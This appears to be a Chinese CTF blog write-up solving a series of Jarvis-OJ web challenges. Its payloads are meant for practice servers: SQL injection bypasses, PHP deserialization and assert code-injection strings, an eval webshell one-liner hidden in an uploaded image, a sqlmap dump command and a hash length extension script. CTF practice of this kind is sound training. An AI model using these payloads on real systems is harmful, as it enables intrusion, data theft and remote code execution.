Jarvis-OJ WEB 多题writeup

PORT51(curl)

LOCALHOST(伪造ip)

Login(SQL注入)

神盾局的秘密(base64编码+反序列化)

IN A Mess(代码审计+过滤空格SQL注入)

admin(robots.txt+cookie欺骗)

[61dctf]babyphp(Git泄露+代码注入)

Easy Gallery(文件上传、%00截断)

Simple Injection(过滤空格SQL注入)

RE? (mysql的UDF用户自定义函数)

flag在管理员手里(Hash长度扩展攻击)

api调用(XXE漏洞)

PHPINFO(SESSION反序列化)


PORT51(curl)

题目链接:http://web.jarvisoj.com:32770/

本地的51号端口访问服务器,需要用到curl.

windows下curl下载地址:https://curl.haxx.se/download.html

curl --local-port 51 http://web.jarvisoj.com:32770/

curl的介绍和一些常见用法:https://blog.csdn.net/liitdar/article/details/80684730


LOCALHOST(伪造ip)

题目入口:http://web.jarvisoj.com:32774/

火狐插件X-Forwarded-For Header伪装成127.0.0.1


Login(SQL注入)

题目链接:http://web.jarvisoj.com:32772/

尝试了几个密码都显示Wrong Password.

只得抓包,发现响应头中有hint.

这里使用了md5加密,

ffifdyop经过md5($password,true)过后恰好结果是'or'6�]��!r,��b,即最后组成的sql语句是:

$sql="select * from admin where password=''or'<xxx>'"

所以直接输入ffifdyop即可得到flag.

这道题告诉我们,md5使用的时候一定要加盐!

 

类似题目: 

题目入口:http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/ 

题目来源:hacking lab inject 09~ 

看到源代码password=’”.md5($_GET['pwd'], true),就知道这道题和题目3的解法是一致的。 

http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop


神盾局的秘密(base64编码+反序列化)

题目入口:http://web.jarvisoj.com:32768/

查看页面源代码:

发现图片名经过base64加密,解密后得到文件名:

 尝试访问index.php的页面源代码,先给index.php base64加密:

访问后发现有个shield.php:

shield.php中发现一句话:

flag is in pctf.php

访问了pctf.php却没有flag:

最后再看看showimg.php的内容:

综合分析,题目过滤了".."、"/"、"\\","pctf"

通过审计代码,这里是利用自己写shield.php中的Shield类反序列化字符串,然后利用index.php反序列把这个类实例,并将该类的filename指为pctf.php.

所以我们要将实例进行序列化,最后在index.php提交序列化后的内容.

<?php
class Shield {
        public $file;
        function __construct($filename = 'pctf.php') {
            $this -> file = $filename;
        }
}
$str = new Shield();
echo serialize($str);
?>

最终payload:

view-source:http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}


IN A Mess(代码审计+过滤空格SQL注入)

题目入口:http://web.jarvisoj.com:32780/

查看页面源代码:

访问index.phps,发现只有后面一半代码:

查看页面源代码,发现完整代码:

<?php
error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
	header('Location: index.php?id=1');
	exit();
}

$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'Hahahahahaha';
	return ;
}

$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("flag.txt");
}
else
{
	print "work harder!harder!harder!";
}
?>

Payload:

http://web.jarvisoj.com:32780/index.php?id=a&b=%00111223&a=php://input
[POST]"1112 is a nice lab!"

得到下一关的地址:

http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=1

接下来是SQL注入:

尝试进行注入,发现此时,简单过滤了空格,利用/*666*/绕过,且去除敏感字符

于是有:?id=1/*666*/and/*666*/1/*666*/=/*666*/1显示正常

?id=1/*666*/and/*666*/1/*666*/=/*666*/2 显示错误,存在注入 

?id=1/*666*/order/*666*/by/*666*/1 显示正常

?id=1/*666*/order/*666*/by/*666*/2 显示正常

?id=1/*666*/order/*666*/by/*666*/3 显示正常

?id=1/*666*/order/*666*/by/*666*/4 显示错误,字段数为3

爆库:

?id=-1/*6*/uniunionon/*6*/seselectlect/*6*/1,2,(database())%23

得到数据库名test

爆表名:

?id=-1/*6*/uniunionon/*6*/seselectlect/*6*/1,2,(selselectect/*6*/group_concat(column_name)/*6*/frofromm/*6*/information_schema.columns/*6*/where/*6*/table_name=0x636f6e74656e74)%23

得到列名:context

读取内容:

?id=-1/*6*/uniunionon/*6*/seselectlect/*6*/1,2,(selselectect/*6*/context/*6*/frofromm/*6*/content)%23

 


admin(robots.txt+cookie欺骗)

题目入口:http://web.jarvisoj.com:32792/

扫一下目录,发现有个robots.txt

访问该文件

答案会这么简单吗?不会!

只要在cookie中把admin的值由0改为1即可.

这样就得到flag了.


[61dctf]babyphp(Git泄露+代码注入)

题目入口:http://web.jarvisoj.com:32798/

在about下发现了提示,怀疑存在git泄露

用GitHack脚本获取

python GitHack.py http://web.jarvisoj.com:32798/.git/

浏览了下,templates目录里面没什么有用信息,

有个flag.php还是空的,但是估计题目就是要获取题目服务器上的flag.php内容,

最主要的地方是index.php的php代码部分.

<?php
if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

它使用了assert这个可以代码执行的函数,后面的file_exists()可以不用管,从strpos入手,因为内容可控,所有可以拼接

自己本地模拟下,发现php能够用 and 和 | 来执行多条命令,使用 . 作为连接符。

注入思路:

整体上可以注释掉’, ‘..’) === false,或者不注释,只在中间插入。另外要注意闭合单引号和括号。

查看目录下文件:

http://web.jarvisoj.com:32798/?page=flag'.system("ls templates/;").' 

当时我想的是能否直接用这样的payload实现查看源代码呢?

Payload:

http://web.jarvisoj.com:32798/?page=flag'.system("cat templates/flag.php;").' 

发现页面没有显示内容,但其实就在页面源码里:

By The Way:

代入:

 . 连接符 ,?page=flag’.system(“ls”).’ 代入后得到

assert(“strpos(‘flag’.system(“ls”).”, ‘..’) === false”) or die(“Detected hacking attempt!”); 

执行过程:

字符串flag和system(“ls”)和空字符”拼接后,作为strpos()的第一个参数。

重点是system()函数是会直接把结果输出的,不用echo,也可以输出,所以system(“ls”)就直接把目录输出了。

如何注释掉后面的语句:

?page=’,’88’)===false and system(“cat templates/flag.php”);//

php代码注入总结:

连接自己的命令 :;and | . ,

system(“xxx”) 中命令使用双引号

闭合引号:

php中单引号不解释变量,双引号解释,一般都是单引号


Easy Gallery(文件上传、%00截断)

题目入口:http://web.jarvisoj.com:32785/

看到upload页面,猜想应该是上传题目.

随便改个参数,报错warning.

可看出是用fopen进行文件包含的,这里能够%00截断,但是不能访问index.php.

尝试修改文件名和改Content-Type,都没能成功.

重点来了!!!

那么思路是把代码插入到图片中,然后包含这个图片,并利用%00截断,截取后面的.php,这里不能直接传以jpg格式结尾的php代码,估计它检查了头部,所以要将代码插入图片中.

抓包,在图片文件最后加上一句话木马

<script language="php">@eval($_POST['love']);</script>

写<?php eval($_POST[‘love’])?>并不能成功,后来看了别人的writeup才知道可能后台代码把 <?php 给waf了,这也是为什么index.php不能包含进去的原因.

猜想访问图片的方式为:

http://web.jarvisoj.com:32785/index.php?page=uploads/1555763227.jpg

访问后得到回显:

注意文件名后面有个.php,于是想到了%00截断

访问:

http://web.jarvisoj.com:32785/index.php?page=uploads/1555763227.jpg%00

得到flag。

Besides:

通过view进行查看图片,然后查看源码获取图片的位置:

http://web.jarvisoj.com:32785/show.php?id=1555763227&type=jpg


Simple Injection(过滤空格SQL注入)

题目入口:http://web.jarvisoj.com:32787/

burp抓包并保存为1.txt:

根据是用户名错误还是密码错误来进行判断。可得知过滤了空格,and,or。

这里用sqlmap的一个space2comment脚本跑。

Payload:

sqlmap.py -r 1.txt --technique T --level 3 --tamper=space2comment -D injection -T admin --dump

password经md5解密:

eTAloCrEP

登陆后显示flag:


RE? (mysql的UDF用户自定义函数)

题目地址:udf.so.02f8981200697e5eeb661e64797fc172

搜了一下题解,这道题大概思路是:

下载下来后文件名为udf.so.XXXXX,用mysql导入一下。

所以这道题就是让我们在本地导入udf,然后调用函数看结果。

奈何在windows下的MySQL或MariaDB尝试会报错:

ERROR 1126 (HY000): Can't open shared library 'udf.so.02f8981200697e5eeb661e64797fc172' (errno: 2, )

原因:

udf是mysql自定义函数包,

udf.so用于linux系统,udf.dll用于windows系统。

解决方法:

  1. 在linux下装mysql
  2. docker直接pull mysql镜像

解题方法一:Linux

cd /usr/lib64/mysql/plugin
wget https://dn.jarvisoj.com/challengefiles/udf.so.02f8981200697e5eeb661e64797fc172

登陆MySQL或MariaDB后:

create function help_me returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
select help_me();
create function getflag returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
select getflag();

解题方法二:Docker

>docker search mysql
Error response from daemon: Get https://index.docker.io/v1/search?q=mysql&n=25: dial tcp: lookup index.docker.io on 192.168.65.1:53: read udp 192.168.65.3:43547->192.168.65.1:53: i/o timeout
#重启解决(没有什么是重启解决不了的,如果有,就重装)
> docker pull mysql
> docker run -p 3306:3306 --name ctf-mysql -v D:\security\docker:/tmp  -e LANG=C.UTF-8 -e MYSQL_ROOT_PASSWORD=123456 -d  mysql 
>docker exec -it ctf-mysql bash
root@72c3316058c9:/# mysql -u root -p
mysql> select @@plugin_dir; 
root@72c3316058c9:/# cp ./udf.so.02f8981200697e5eeb661e64797fc172 /usr/lib/mysql/plugin/udf.so
mysql> create function help_me returns string soname 'udf.so';
Query OK, 0 rows affected (0.04 sec)
mysql> select help_me();
use getflag function to obtain your flag!!
mysql> create function getflag returns string soname 'udf.so';
Query OK, 0 rows affected (0.05 sec)
mysql> select getflag();
PCTF{Interesting_U5er_d3fined_Function}

即可得到flag。


flag在管理员手里(Hash长度扩展攻击)

题目链接:http://web.jarvisoj.com:32778/

上去先抓包,发现会设置一个md5和你的身份guest。

题目的意思应该是将guest改为admin。

大概是哈希长度拓展攻击。

估计要找源码了,常见的备份文件 .bak .swp .swo 还有 ~

用源码泄露工具扫描一下:

Usage :
        python SourceLeakHackerForLinux.py [URL]
Example :
        python SourceLeakHackerForLinux.py http://www.baidu.com/
Tips :
        Your URL should must starts with "http://" or "https://"

打开这个链接可以下载一个文件index.php~,这个是php的备份恢复文件,拿到 linux下,重命名为index.php.swp,使用命令vim -r index.php 即可恢复原来的php文件,得到源码:

<?php
    $auth = false;
    $role = "guest";
	
    $salt =
    if (isset($_COOKIE["role"])) {
        $role = unserialize($_COOKIE["role"]);
        $hsh = $_COOKIE["hsh"];
        if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
            $auth = true;
        } else {
            $auth = false;
        }
    } else {
        $s = serialize($role);
        setcookie('role',$s);
        $hsh = md5($salt.strrev($s));
        setcookie('hsh',$hsh);
    }
	
    if ($auth) {
        echo "<h3>Welcome Admin. Your flag is
    } else {
        echo "<h3>Only Admin can see the flag!!</h3>";
    }
?>

如何知道 $salt 的长度呢,可以选择kali中的hashpump 或者 hash_extender工具爆破……

解题方法一:hash_extender工具

安装hash_extender步骤:

git clone https://github.com/iagox86/hash_extender  
cd hash_extender  
make

还需要一个python脚本,来自:

https://skysec.top/2017/08/16/jarvisoj-web/#flag%E5%9C%A8%E7%AE%A1%E7%90%86%E5%91%98%E6%89%8B%E9%87%8C

# -*- coding:utf-8 -*-
from urlparse import urlparse
from httplib import HTTPConnection
from urllib import urlencode
import json
import time
import os
import urllib

def gao(x, y):
        #print x
        #print y
    url = "http://web.jarvisoj.com:32778/index.php"
    cookie = "role=" + x + "; hsh=" + y
        #print cookie
    build_header = {
            'Cookie': cookie,
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:44.0) Gecko/20100101 Firefox/44.0',
            'Host': 'web.jarvisoj.com:32778',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    }
    urlparts = urlparse(url)
    conn = HTTPConnection(urlparts.hostname, urlparts.port or 80)
    conn.request("GET", urlparts.path, '', build_header)
    resp = conn.getresponse()
    body = resp.read()
    return body

for i in xrange(1000):
    print i
    #secret len = ???
    find_hash = "./hash_extender -d ';\"tseug\":5:s' -s 3a4727d57463f122833d9e732f94e4e0 -f md5  -a ';\"nimda\":5:s' --out-data-format=html -l " + str(i) + " --quiet"
    #print find_hash
    calc_res = os.popen(find_hash).readlines()
    hash_value = calc_res[0][:32]
    attack_padding = calc_res[0][32:]
    attack_padding = urllib.quote(urllib.unquote(attack_padding)[::-1])
    ret = gao(attack_padding, hash_value)
    if "Welcome" in ret:
        print ret
        break

可见盐的长度是12……且得到回显:

<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
       body {
              background:gray;
              text-align:center;
       }
</style>
</head>
<body>
       <h3>Welcome Admin. Your flag is PCTF{H45h_ext3ndeR_i5_easy_to_us3} </h3>
</body>
</html>

解题方法二:HashPump

先在centos或者kali下安装HashPump:

git clone https://github.com/bwall/HashPump
#yum install g++ libssl-dev #centos
apt-get install g++ libssl-dev #kali
cd HashPump
make
make install

 使用方法:

Input Signature 为COOKIES中hsh的值
Input Data 为用户名
Input Key Length 为长度
Input Data to Add 为密码(自定义,除了admin)

把内容中值反转一下,把\x替换为%:

s:5:"admin"%3b%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s:5:"guest"%3b

fcdc3840332555511c4e4323f6decb07

将其输入到cookie对应的参数中,获得flag,注意下序列化的 ";" 在cookie中需要编码成 %3b

那么这里为什么能够添加了这么多内容,还能满足源码中如下的判定条件呢:

$role == ‘admin‘

因为这道题巧在利用了unserialize来进行反序列化,它会把序列化格式 ;之后的内容丢弃

也就是 s:5:"admin"; xxxxx (xxxx全被丢弃了)

如果不是被反序列化了,这样这道题不能满足$role == ‘admin‘条件了

同类题目(shiyanbar):

http://ctf5.shiyanbar.com/web/kzhan.php


api调用(XXE漏洞)

请设法获得目标机器/home/ctf/flag.txt中的flag值。

题目入口:http://web.jarvisoj.com:9882/

抓包传的json:

利用了ajax,这里把传的json改成xml,并利用xxe读取flag

先把头中的Content-Type改为application/xml

下面利用xxe

得到flag。

关于XXE漏洞的两篇文章:

https://security.tencent.com/index.php/blog/msg/69

https://www.freebuf.com/articles/web/126788.html


PHPINFO(SESSION反序列化)

题目入口:http://web.jarvisoj.com:32784/

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

本题的突破点在于:

ini_set('session.serialize_handler', 'php');

 

当get传入phpinfo时会实例化OowoO这个类并访问phpinfo()。

 

通过phpinfo页面,我们知道php.ini中默认session.serialize_handler为php_serialize,而index.php中将其设置为php。

这就导致了seesion的反序列化问题。

由phpinfo()页面继续可知,session.upload_progress.enabled为On。

 

因此当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,

当php检测到这种POST请求时,它会在$_SESSION中添加一组数据。

所以可以通过Session Upload Progress来设置session。

但是,这时就有一个问题,在题目代码中,没有某个值是用来接受我们传入的数据,并储存到$_SESSION中的。

其实我们是有办法传入$_SESSION数据的,这里就利用到了|的反序列化问题。

思路很明显了,我们需要构造一个上传和post同时进行的情况,代码如下:

<!DOCTYPE html>
<html>
<head>
	<title>test</title>
	<meta charset="utf-8">
</head>
<body>
	<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
	    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
	    <input type="file" name="file" />
	    <input type="submit" />
	</form>
</body>
</html>

 

再考虑序列化:

<?php
class OowoO
{
    public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
$a = serialize($obj);
 
var_dump($a);

得到下面结果:

O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

为防止转义,在引号前加上\利用前面的html页面随便上传一个东西,抓包,把filename改为如下:

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

注意,前面还有一个|,这是session的格式。

 

通过phpinfo页面查看当前路径_SERVER["SCRIPT_FILENAME"]

进一步更改,可获得flag

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

得到flag。

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 9
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

烟敛寒林o

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值